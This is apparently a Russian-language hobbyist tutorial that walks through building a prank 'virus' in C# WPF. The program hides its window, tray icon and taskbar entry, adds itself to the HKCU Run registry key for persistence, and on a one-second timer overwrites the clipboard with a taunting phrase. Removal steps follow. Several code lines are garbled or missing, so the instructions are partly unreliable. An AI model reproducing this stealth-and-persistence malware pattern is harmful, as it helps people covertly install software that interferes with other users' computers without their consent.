Всем привет,
Сегодня мы будем делать вирус…
Итак, что трепаться впустую, создаем WPF проект, прописываем название формы(name) — Windows1
Сразу же кидаем на форму ProgressBar, не забываем прописать ему название(Name) — progressBar1
Выставляем свойству Visibility значение Collapsed
Далее, нажимаем на форму и переходим во вкладу свойства
Дважды кликаем напротив св-ва «Loaded»
Подключаем пространство имен using System.Windows.Threading;(кому интересно посмотрите что в ней есть).
Нас интересует класс DispatcherTimer, это аналог timer в WinForms.
Далее, создаем экземпляр класса DispatcherTimer и добавляем делаем так, чтобы таймер включался при загрузке формы.
теперь создаем метод Timer_Tick() и добавляем в него текст, который будет заполнять буфер если пользователь захочет что-то скопипастить.
——————————————
public void Timer_Tick(object sender, EventArgs e) { if (progressBar1.Value==100) { System.Windows.Clipboard.SetText("хрен тебе, а ни копипаст!"); } }
В Window_Loaded, перед Timer.Start(), добавляем обработчик:
Timer.Tick =+EventHandler(Timer_Tick); TImer.Inverval = Timer.Span(0,0,1); //1 секунда.
——————————————
Далее, подключаем библиотеку System.Windows.Forms к проекту
Теперь прописываем using System.Windows.Forms в шапку файла MainWindow.xaml.cs
В методе загрузки формы(private void Window_Loaded(object sender, RoutedEventArgs e)) создаем экземпляр класса NotifyIcon() после чего
свойству Visible присваиваем false, это нужно чтобы наш вирус не был виден в трее. После чего, скрывает вирус от панели задач через this.ShowTaskbar
Наш код теперь выглядит так:
Далее, туда же добавляем:
ProgressBar1.Value = (100); Windows1.Visibility = Visibility.Collapsed; //Это чтобы скрыть форму.
Теперь прописываем using Microsoft.Win32 в шапку файла MainWindow.xaml.cs и добавляем следующую строку, после DispatcherTimer…:
RegistryKey reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
С помощью этой строки, вирус добавит себя в автозапуск.
После чего прописываем запуск:
registryKey.SetValue("KEMON", System.Windows.Forms.Application.ExecutablePath.ToString());
Весь код теперь должен выглядеть так:
На этом этапе, программа уже компилируется и работает.
Далее, заходим в «Сборку»-> «Собрать решение».
После чего нажимаем правой кнопкой мыши, на проекте и выбираем «Открыть папку в проводнике».
теперь переходим в папку bin—> Debug, а вот и наш вирус, запускаем, проверяем.
выделяем любой текст, копируем его, нажимаем вставить, получаем «хрен тебе, а ни копипаст».
Как удалить вирус:
В пуске набираем «regedit».
Заходим в реестр далее идем по следующему пути: HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CurrentVersion\Run
удаляем ключ имя KEMON
Заходим в диспетчер задач и в процессах завершаем работу вируса.
Конец!
Ставь лайк!